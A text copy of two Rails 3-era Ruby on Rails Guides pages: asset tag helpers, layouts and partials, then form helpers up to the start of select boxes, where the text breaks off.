A JavaScript file within a Rails application or Rails engine goes in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. These locations are explained in detail in the **Asset Organization section in the Asset Pipeline Guide**

You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called `javascripts` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this:

```
<%= javascript_include_tag "main" %>
```

Rails will then output a `script` tag such as this:

```
<script src='/assets/main.js' type="text/javascript"></script>
```

The request to this asset is then served by the Sprockets gem.

To include multiple files such as `app/assets/javascripts/main.js` and `app/assets/javascripts/columns.js` at the same time:

```
<%= javascript_include_tag "main", "columns" %>
```

To include `app/assets/javascripts/main.js` and `app/assets/javascripts/photos/columns.js`:

```
<%= javascript_include_tag "main", "/photos/columns" %>
```

To include `http://example.com/main.js`:

```
<%= javascript_include_tag "http://example.com/main.js" %>
```

If the application does not use the asset pipeline, the `:defaults` option loads jQuery by default:

```
<%= javascript_include_tag :defaults %>
```

Outputting `script` tags such as this:

```
<script src="/javascripts/jquery.js" type="text/javascript"></script>
<script src="/javascripts/jquery_ujs.js" type="text/javascript"></script>
```

These two files for jQuery, `jquery.js` and `jquery_ujs.js` must be placed inside `public/javascripts` if the application doesn't use the asset pipeline. These files can be downloaded from the **jquery-rails repository on GitHub**

If you are using the asset pipeline, this tag will render a `script` tag for an asset called `defaults.js`, which would not exist in your application unless you've explicitly defined it to be.

And you can in any case override the `:defaults` expansion in `config/application.rb`:

```
config.action_view.javascript_expansions[:defaults] = %w(foo.js bar.js)
```

You can also define new defaults:

```
config.action_view.javascript_expansions[:projects] = %w(projects.js tickets.js)
```

And use them by referencing them exactly like `:defaults`:

```
<%= javascript_include_tag :projects %>
```

When using `:defaults`, if an `application.js` file exists in `public/javascripts` it will be included as well at the end.

Also, if the asset pipeline is disabled, the `:all` expansion loads every JavaScript file in `public/javascripts`:

```
<%= javascript_include_tag :all %>
```

Note that your defaults of choice will be included first, so they will be available to all subsequently included files.

You can supply the `:recursive` option to load files in subfolders of `public/javascripts` as well:

```
<%= javascript_include_tag :all, :recursive => true %>
```

If you're loading multiple JavaScript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify `:cache => true` in your `javascript_include_tag`:

```
<%= javascript_include_tag "main", "columns", :cache => true %>
```

By default, the combined file will be delivered as `javascripts/all.js`. You can specify a location for the cached asset file instead:

```
<%= javascript_include_tag "main", "columns",
  :cache => 'cache/main/display' %>
```

You can even use dynamic paths such as `cache/#{current_site}/main/display`.

3.1.3 Linking to CSS Files with the `stylesheet_link_tag`

The `stylesheet_link_tag` helper returns an HTML `<link>` tag for each source provided.

If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to `/assets/stylesheets/`. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`.

You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called `stylesheets` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this:

```
<%= stylesheet_link_tag "main" %>
```

To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/columns.css`:

```
<%= stylesheet_link_tag "main", "columns" %>
```

To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/photos/columns.css`:

```
<%= stylesheet_link_tag "main", "/photos/columns" %>
```

To include `http://example.com/main.css`:

```
<%= stylesheet_link_tag "http://example.com/main.css" %>
```

By default, the `stylesheet_link_tag` creates links with `media="screen" rel="stylesheet" type="text/css"`. You can override any of these defaults by specifying an appropriate option (`:media`, `:rel`, or `:type`):

```
<%= stylesheet_link_tag "main_print", :media => "print" %>
```

If the asset pipeline is disabled, the `all` option links every CSS file in `public/stylesheets`:

```
<%= stylesheet_link_tag :all %>
```

You can supply the `:recursive` option to link files in subfolders of `public/stylesheets` as well:

```
<%= stylesheet_link_tag :all, :recursive => true %>
```

If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify `:cache => true` in your `stylesheet_link_tag`:

```
<%= stylesheet_link_tag "main", "columns", :cache => true %>
```

By default, the combined file will be delivered as `stylesheets/all.css`. You can specify a location for the cached asset file instead:

```
<%= stylesheet_link_tag "main", "columns",
  :cache => 'cache/main/display' %>
```

You can even use dynamic paths such as `cache/#{current_site}/main/display`.

3.1.4 Linking to Images with the `image_tag`

The `image_tag` helper builds an HTML `<img />` tag to the specified file. By default, files are loaded from `public/images`.

Note that you must specify the extension of the image. Previous versions of Rails would allow you to just use the image name and would append `.png` if no extension was given but Rails 3.0 does not.

```
<%= image_tag "header.png" %>
```

You can supply a path to the image if you like:

```
<%= image_tag "icons/delete.gif" %>
```

You can supply a hash of additional HTML options:

```
<%= image_tag "icons/delete.gif", {:height => 45} %>
```

You can also supply an alternate image to show on mouseover:

```
<%= image_tag "home.gif", :onmouseover => "menu/home_highlight.gif" %>
```

You can supply alternate text for the image which will be used if the user has images turned off in their browser. If you do not specify an alt text explicitly, it defaults to the file name of the file, capitalized and with no extension. For example, these two image tags would return the same code:

```
<%= image_tag "home.gif" %>
<%= image_tag "home.gif", :alt => "Home" %>
```

You can also specify a special size tag, in the format "{width}x{height}":

```
<%= image_tag "home.gif", :size => "50x20" %>
```

In addition to the above special tags, you can supply a final hash of standard HTML options, such as `:class`, `:id` or `:name`:

```
<%= image_tag "home.gif", :alt => "Go Home",
                          :id => "HomeImage",
                          :class => 'nav_bar' %>
```

3.1.5 Linking to Videos with the `video_tag`

The `video_tag` helper builds an HTML 5 `<video>` tag to the specified file. By default, files are loaded from `public/videos`.

```
<%= video_tag "movie.ogg" %>
```

Produces

```
<video src="/videos/movie.ogg" />
```

Like an `image_tag` you can supply a path, either absolute, or relative to the `public/videos` directory. Additionally you can specify the `:size => "#{width}x#{height}"` option just like an `image_tag`. Video tags can also have any of the HTML options specified at the end (`id`, `class` et al).

The video tag also supports all of the `<video>` HTML options through the HTML options hash, including:

- `:poster => 'image_name.png'`, provides an image to put in place of the video before it starts playing.
- `:autoplay => true`, starts playing the video on page load.
- `:loop => true`, loops the video once it gets to the end.
- `:controls => true`, provides browser supplied controls for the user to interact with the video.
- `:autobuffer => true`, the video will pre load the file for the user on page load.

You can also specify multiple videos to play by passing an array of videos to the `video_tag`:

```
<%= video_tag ["trailer.ogg", "movie.ogg"] %>
```

This will produce:

```
<video><source src="trailer.ogg" /><source src="movie.ogg" /></video>
```

3.1.6 Linking to Audio Files with the `audio_tag`

The `audio_tag` helper builds an HTML 5 `<audio>` tag to the specified file. By default, files are loaded from `public/audios`.

```
<%= audio_tag "music.mp3" %>
```

You can supply a path to the audio file if you like:

```
<%= audio_tag "music/first_song.mp3" %>
```

You can also supply a hash of additional options, such as `:id`, `:class` etc.

Like the `video_tag`, the `audio_tag` has special options:

- `:autoplay => true`, starts playing the audio on page load
- `:controls => true`, provides browser supplied controls for the user to interact with the audio.
- `:autobuffer => true`, the audio will pre load the file for the user on page load.

3.2 Understanding `yield`

Within the context of a layout, `yield` identifies a section where content from the view should be inserted. The simplest way to use this is to have a single `yield`, into which the entire contents of the view currently being rendered is inserted:

```
<html>
  <head>
  </head>
  <body>
  <%= yield %>
  </body>
</html>
```

You can also create a layout with multiple yielding regions:

```
<html>
  <head>
  <%= yield :head %>
  </head>
  <body>
  <%= yield %>
  </body>
</html>
```

The main body of the view will always render into the unnamed `yield`. To render content into a named `yield`, you use the `content_for` method.

3.3 Using the `content_for` Method

The `content_for` method allows you to insert content into a named `yield` block in your layout. For example, this view would work with the layout that you just saw:

```
<% content_for :head do %>
  <title>A simple page</title>
<% end %>

<p>Hello, Rails!</p>
```

The result of rendering this page into the supplied layout would be this HTML:

```
<html>
```

```
  <head>
  <title>A simple page</title>
  </head>
  <body>
  <p>Hello, Rails!</p>
  </body>
</html>
```

The `content_for` method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific JavaScript or css files into the header of an otherwise generic layout.

3.4 Using Partials

Partial templates – usually just called "partials" – are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.

3.4.1 Naming Partials

To render a partial as part of a view, you use the `render` method within the view:

```
<%= render "menu" %>
```

This will render a file named `_menu.html.erb` at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:

```
<%= render "shared/menu" %>
```

That code will pull in the partial from `app/views/shared/_menu.html.erb`.

3.4.2 Using Partials to Simplify Views

One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:

```
<%= render "shared/ad_banner" %>

<h1>Products</h1>

<p>Here are a few of our fine products:</p>
...

<%= render "shared/footer" %>
```

Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.

For content that is shared among all pages in your application, you can use partials directly from layouts.

3.4.3 Partial Layouts

A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:

```
<%= render :partial => "link_area", :layout => "graybar" %>
```

This would look for a partial named `_link_area.html.erb` and render it using the layout `_graybar.html.erb`. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master `layouts` folder).

Also note that explicitly specifying `:partial` is required when passing additional options such as `:layout`.

3.4.4 Passing Local Variables

You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:

- new.html.erb

```
<h1>New zone</h1>
<%= error_messages_for :zone %>
<%= render :partial => "form", :locals => { :zone => @zone } %>
```

- edit.html.erb

```
<h1>Editing zone</h1>
<%= error_messages_for :zone %>
<%= render :partial => "form", :locals => { :zone => @zone } %>
```

- _form.html.erb

```
<%= form_for(zone) do |f| %>
  <p>
    <b>Zone name</b><br />
    <%= f.text_field :name %>
  </p>
  <p>
    <%= f.submit %>
  </p>
<% end %>
```

Although the same partial will be rendered into both views, Action View's submit helper will return "Create Zone" for the new action and "Update Zone" for the edit action.

Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the `:object` option:

```
<%= render :partial => "customer", :object => @new_customer %>
```

Within the `customer` partial, the `customer` variable will refer to `@new_customer` from the parent view.

In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior was deprecated in 2.3 and has been removed in Rails 3.0.

If you have an instance of a model to render into a partial, you can use a shorthand syntax:

```
<%= render @customer %>
```

Assuming that the `@customer` instance variable contains an instance of the `Customer` model, this will use `_customer.html.erb` to render it and will pass the local variable `customer` into the partial which will refer to the `@customer` instance variable in the parent view.

3.4.5 Rendering Collections

Partials are very useful in rendering collections. When you pass a collection to a partial via the `:collection` option, the partial will be inserted once for each member in the collection:

- index.html.erb

```
<h1>Products</h1>
<%= render :partial => "product", :collection => @products %>
```

- _product.html.erb

```
<p>Product Name: <%= product.name %></p>
```

When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within the `_product` partial, you can refer to `product` to get the instance that is being rendered.

In Rails 3.0, there is also a shorthand for this. Assuming `@products` is a collection of `product` instances, you can simply write this in the `index.html.erb` to produce the same result:

```
<h1>Products</h1>
<%= render @products %>
```

Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:

In the event that the collection is empty, `render` will return nil, so it should be fairly simple to provide alternative content.

```
<h1>Products</h1>
<%= render(@products) || 'There are no products available.' %>
```

- `index.html.erb`

```
<h1>Contacts</h1>
<%= render [customer1, employee1, customer2, employee2] %>
```

- `customers/_customer.html.erb`

```
<p>Customer: <%= customer.name %></p>
```

- `employees/_employee.html.erb`

```
<p>Employee: <%= employee.name %></p>
```

In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.

3.4.6 Local Variables

To use a custom local variable name within the partial, specify the `:as` option in the call to the partial:

```
<%= render :partial => "product", :collection => @products, :as => :item %>
```

With this change, you can access an instance of the `@products` collection as the `item` local variable within the partial.

You can also pass in arbitrary local variables to any partial you are rendering with the `:locals => {}` option:

```
<%= render :partial => 'products', :collection => @products,
           :as => :item, :locals => {:title => "Products Page"} %>
```

Would render a partial `_products.html.erb` once for each instance of `product` in the `@products` instance variable passing the instance to the partial as a local variable called `item` and to each partial, make the local variable `title` available with the value `Products Page`.

Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by `_counter`. For example, if you're rendering `@products`, within the partial you can refer to `product_counter` to tell you how many times the partial has been rendered. This does not work in conjunction with the `:as => :value` option.

You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:

3.4.7 Spacer Templates

```
<%= render :partial => @products, :spacer_template => "product_ruler" %>
```

Rails will render the `_product_ruler` partial (with no data passed in to it) between each pair of `_product` partials.

3.5 Using Nested Layouts

You may find that your application requires a layout that differs slightly from your regular application layout to support

one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example:

Suppose you have the following `ApplicationController` layout:

- `app/views/layouts/application.html.erb`

```
<html>
<head>
  <title><%= @page_title or 'Page Title' %></title>
  <%= stylesheet_link_tag 'layout' %>
  <style type="text/css"><%= yield :stylesheets %></style>
</head>
<body>
  <div id="top_menu">Top menu items here</div>
  <div id="menu">Menu items here</div>
  <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div>
</body>
</html>
```

On pages generated by `NewsController`, you want to hide the top menu and add a right menu:

- `app/views/layouts/news.html.erb`

```
<% content_for :stylesheets do %>
  #top_menu {display: none}
  #right_menu {float: right; background-color: yellow; color: black}
<% end %>
<% content_for :content do %>
  <div id="right_menu">Right menu items here</div>
  <%= content_for?(:news_content) ? yield(:news_content) : yield %>
<% end %>
<%= render :template => 'layouts/application' %>
```

That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.

There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the `ActionView::render` method via `render :template => 'layouts/news'` to base a new layout on the News layout. If you are sure you will not subtemplate the `News` layout, you can replace the `content_for?(:news_content) ? yield(:news_content) : yield` with simply `yield`.

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Rails Form helpers

Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.

In this guide you will:

- Create search forms and similar kind of generic forms not representing any specific model in your application
- Make model-centric forms for creation and editing of specific database records
- Generate select boxes from multiple types of data
- Understand the date and time helpers Rails provides
- Learn what makes a file upload form different
- Learn some cases of building forms to external resources
- Find out where to look for complex forms

Chapters

1. Dealing with Basic Forms
    - A Generic Search Form
    - Multiple Hashes in Form Helper Calls
    - Helpers for Generating Form Elements
    - Other Helpers of Interest
2. Dealing with Model Objects
    - Model Object Helpers
    - Binding a Form to an Object
    - Relying on Record Identification
    - How do forms with PUT or DELETE methods work?
3. Making Select Boxes with Ease
    - The Select and Option Tags
    - Select Boxes for Dealing with Models
    - Option Tags from a Collection of Arbitrary Objects
    - Time Zone and Country Select
4. Using Date and Time Form Helpers
    - Barebones Helpers
    - Model Object Helpers
    - Common Options
    - Individual Components
5. Uploading Files
    - What Gets Uploaded
    - Dealing with Ajax
6. Customizing Form Builders
7. Understanding Parameter Naming Conventions
    - Basic Structures
    - Combining Them
    - Using Form Helpers
8. Forms to external resources
9. Building Complex Forms

This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit the Rails API documentation for a complete reference.

1 Dealing with Basic Forms

The most basic form helper is `form_tag`.

```
<%= form_tag do %>
  Form contents
<% end %>
```

When called without arguments like this, it creates a `<form>` tag which, when submitted, will POST to the current page. For instance, assuming the current page is `/home/index`, the generated HTML will look like this (some line breaks added for readability):

```
<form accept-charset="UTF-8" action="/home/index" method="post">
  <div style="margin:0;padding:0">
    <input name="utf8" type="hidden" value="&#x2713;" />
```

```
    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
  </div>
  Form contents
</form>
```

Now, you'll notice that the HTML contains something extra: a `div` element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name `authenticity_token` is a security feature of Rails called **cross-site request forgery protection**, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the **Security Guide**.

Throughout this guide, the `div` with the hidden input elements will be excluded from code samples for brevity.

1.1 A Generic Search Form

One of the most basic forms you see on the web is a search form. This form contains:

1. a form element with "GET" method,
2. a label for the input,
3. a text input element, and
4. a submit element.

To create this form you will use `form_tag`, `label_tag`, `text_field_tag`, and `submit_tag`, respectively. Like this:

```
<%= form_tag("/search", :method => "get") do %>
  <%= label_tag(:q, "Search for:") %>
  <%= text_field_tag(:q) %>
  <%= submit_tag("Search") %>
<% end %>
```

This will generate the following HTML:

```
<form accept-charset="UTF-8" action="/search" method="get">
  <label for="q">Search for:</label>
  <input id="q" name="q" type="text" />
  <input name="commit" type="submit" value="Search" />
</form>
```

For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.

Besides `text_field_tag` and `submit_tag`, there is a similar helper for *every* form control in HTML.

Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.

1.2 Multiple Hashes in Form Helper Calls

The `form_tag` helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.

As with the `link_to` helper, the path argument doesn't have to be given a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to `form_tag` are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this:

```
form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form")
# => '<form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post">'
```

Here, `method` and `class` are appended to the query string of the generated URL because you even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect:

```
form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form")
# => '<form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form">'
```

1.3 Helpers for Generating Form Elements

Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as `text_field_tag` and `check_box_tag`), generate just a single `<input>` element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the `params` hash in the controller with the value entered by the user for that field. For example, if the form contains `<%= text_field_tag(:query) %>`, then you would be able to get the value of this field in the controller with `params[:query]`.

When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values

When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in **chapter 7 of this guide**. For details on the precise usage of these helpers, please refer to the **API documentation**.

1.3.1 Checkboxes

Checkboxes are form controls that give the user a set of options they can enable or disable:

```
<%= check_box_tag(:pet_dog) %>
<%= label_tag(:pet_dog, "I own a dog") %>
<%= check_box_tag(:pet_cat) %>
<%= label_tag(:pet_cat, "I own a cat") %>
```

This generates the following:

```
<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
<label for="pet_dog">I own a dog</label>
<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
<label for="pet_cat">I own a cat</label>
```

The first parameter to `check_box_tag`, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in `params`) when the checkbox is checked.

1.3.2 Radio Buttons

Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one):

```
<%= radio_button_tag(:age, "child") %>
<%= label_tag(:age_child, "I am younger than 21") %>
<%= radio_button_tag(:age, "adult") %>
<%= label_tag(:age_adult, "I'm over 21") %>
```

Output:

```
<input id="age_child" name="age" type="radio" value="child" />
<label for="age_child">I am younger than 21</label>
<input id="age_adult" name="age" type="radio" value="adult" />
<label for="age_adult">I'm over 21</label>
```

As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and `params[:age]` will contain either "child" or "adult".

Always use labels for checkbox and radio buttons. They associate text with a specific option and make it easier for users to click the inputs by expanding the clickable region.

1.4 Other Helpers of Interest

Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, URL fields and email fields:

```
<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %>
<%= password_field_tag(:password) %>
<%= hidden_field_tag(:parent_id, "5") %>
<%= search_field(:user, :name) %>
<%= telephone_field(:user, :phone) %>
<%= url_field(:user, :homepage) %>
<%= email_field(:user, :address) %>
```

Output:

```
<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
<input id="password" name="password" type="password" />
<input id="parent_id" name="parent_id" type="hidden" value="5" />
<input id="user_name" name="user[name]" size="30" type="search" />
<input id="user_phone" name="user[phone]" size="30" type="tel" />
<input id="user_homepage" size="30" name="user[homepage]" type="url" />
<input id="user_address" size="30" name="user[address]" type="email" />
```

Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.

The search, telephone, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely **no shortage of solutions for this**, although a couple of popular tools at the moment are **Modernizr** and **yepnope**, which provide a simple way to add functionality based on the presence of detected HTML5 features.

If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the **Security Guide**.

2 Dealing with Model Objects

2.1 Model Object Helpers

A particularly common task for a form is editing or creating a model object. While the `*_tag` helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the _tag suffix, for example `text_field`, `text_area`.

For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined `@person` and that person's name is Henry then a form containing:

```
<%= text_field(:person, :name) %>
```

will produce output similar to

```
<input id="person_name" name="person[name]" type="text" value="Henry"/>
```

Upon form submission the value entered by the user will be stored in `params[:person][:name]`. The `params[:person]` hash is suitable for passing to `Person.new` or, if `@person` is an instance of Person, `@person.update_attributes`. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a `name` and a `name=` method Rails will be happy.

You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object.

Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the **Active Record Validations and Callbacks** guide.

2.2 Binding a Form to an Object

While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what `form_for` does.

Assume we have a controller for dealing with articles `app/controllers/articles_controller.rb`:

```
def new
  @article = Article.new
end
```

The corresponding view `app/views/articles/new.html.erb` using `form_for` looks like this:

```
<%= form_for @article, :url => { :action => "create" }, :html => {:class => "nifty_form"} do |f| %>
  <%= f.text_field :title %>
  <%= f.text_area :body, :size => "60x12" %>
  <%= f.submit "Create" %>
<% end %>
```

There are a few things to note here:

1. `@article` is the actual object being edited.
2. There is a single hash of options. Routing options are passed in the `:url` hash, HTML options are passed in the `:html` hash. Also you can provide a `:namespace` option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
3. The `form_for` method yields a **form builder** object (the `f` variable).
4. Methods to create form controls are called **on** the form builder object `f`

The resulting HTML is:

```
<form accept-charset="UTF-8" action="/articles/create" method="post" class="nifty_form">
  <input id="article_title" name="article[title]" size="30" type="text" />
  <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
  <input name="commit" type="submit" value="Create" />
</form>
```

The name passed to `form_for` controls the key used in `params` to access the form's values. Here the name is `article` and so all the inputs have names of the form `article[`*`attribute_name`*`]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in the parameter_names section.

The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.

specify which object is being edited since this is already managed by the form builder.

You can create a similar binding without actually creating `<form>` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:

```
<%= form_for @person, :url => { :action => "create" } do |person_form| %>
  <%= person_form.text_field :name %>
  <%= fields_for @person.contact_detail do |contact_details_form| %>
    <%= contact_details_form.text_field :phone_number %>
  <% end %>
<% end %>
```

which produces the following output:

```
<form accept-charset="UTF-8" action="/people/create" class="new_person" id="new_person" method="post">
  <input id="person_name" name="person[name]" size="30" type="text" />
  <input id="contact_detail_phone_number" name="contact_detail[phone_number]" size="30" type="text" />
</form>
```

The object yielded by `fields_for` is a form builder like the one yielded by `form_for` (in fact `form_for` calls `fields_for` internally).

2.3 Relying on Record Identification

The Article model is directly available to users of the application, so — following the best practices for developing with Rails — you should declare it **a resource**:

```
resources :articles
```

Declaring a resource has a number of side-affects. See **Rails Routing From the Outside In** for more information on setting up and using resources.

When dealing with RESTful resources, calls to `form_for` can get significantly easier if you rely on **record identification**. In short, you can just pass the model instance and have Rails figure out model name and the rest:

```
## Creating a new article
# long-style:
form_for(@article, :url => articles_path)
# same thing, short-style (record identification gets used):
form_for(@article)

## Editing an existing article
# long-style:
form_for(@article, :url => article_path(@article), :html => { :method => "put" })
# short-style:
form_for(@article)
```

Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`. It also selects the correct path to submit to and the name based on the class of the object.

Rails will also automatically set the `class` and `id` of the form appropriately: a form creating an article would have `id` and `class` `new_article`. If you were editing the article with id 23, the `class` would be set to `edit_article` and the id to `edit_article_23`. These attributes will be omitted for brevity in the rest of this guide.

When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, `:url`, and `:method` explicitly.

2.3.1 Dealing with Namespaces

If you have created namespaced routes, `form_for` has a nifty shorthand for that too. If your application has an admin namespace then

```
form_for [:admin, @article]
```

will create a form that submits to the articles controller inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar:

```
form_for [:admin, :management, @article]
```

For more information on Rails' routing system and the associated conventions, please see the **routing guide**.

2.4 How do forms with PUT or DELETE methods work?

The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). However, most browsers *don't support* methods other than "GET" and

“POST” when it comes to submitting forms.

Rails works around this issue by emulating other methods over POST with a hidden input named "_method", which is set to reflect the desired method:

```
form_tag(search_path, :method => "put")
```

output:

```
<form accept-charset="UTF-8" action="/search" method="post">
  <div style="margin:0;padding:0">
    <input name="_method" type="hidden" value="put" />
    <input name="utf8" type="hidden" value="&#x2713;" />
    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
  </div>
  ...
```

When parsing POSTed data, Rails will take into account the special _method parameter and acts as if the HTTP method was the one specified inside it (“PUT” in this example).

3 Making Select Boxes with Ease

Select boxes in HTML require a significant amount of markup (one OPTION element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.

Here is what the markup might look like:

```
<select name="city_id" id="city_id">
  <option value="1">Lisbon</option>
  <option value="2">Madrid</option>
  ...
  <option value="12">Berlin</option>
</select>
```

Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options’ value attribute. Let’s see how Rails can help out here.

3.1 The Select and Option Tags

The most generic helper is select_tag, which — as the name implies — simply generates the SELECT tag that encapsulates an options string:

```
<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
```

This is a start, but it doesn’t dynamically create the option tags. You can generate option tags with the options_for_select helper:

```
<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>

output:

<option value="1">Lisbon</option>
<option value="2">Madrid</option>
...
```

The first argument to options_for_select is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.

Knowing this, you can combine select_tag and options_for_select to achieve the desired, complete markup:

```
<%= select_tag(:city_id, options_for_select(...)) %>
```

options_for_select allows you to pre-select an option by passing its value.

```
<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>

output:

<option value="1">Lisbon</option>
<option value="2" selected="selected">Madrid</option>
...
```

Whenever Rails sees that the internal value of an option being generated matches this value, it will add the selected attribute to that option.

The second argument to options_for_select must be exactly equal to the desired internal value. In particular if the

value is the integer 2 you cannot pass "2" to `options_for_select` — you must pass 2. Be aware of values extracted from the `params` hash as they are all strings.

3.2 Select Boxes for Dealing with Models

In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the `_tag` suffix from `select_tag`:

```
# controller:
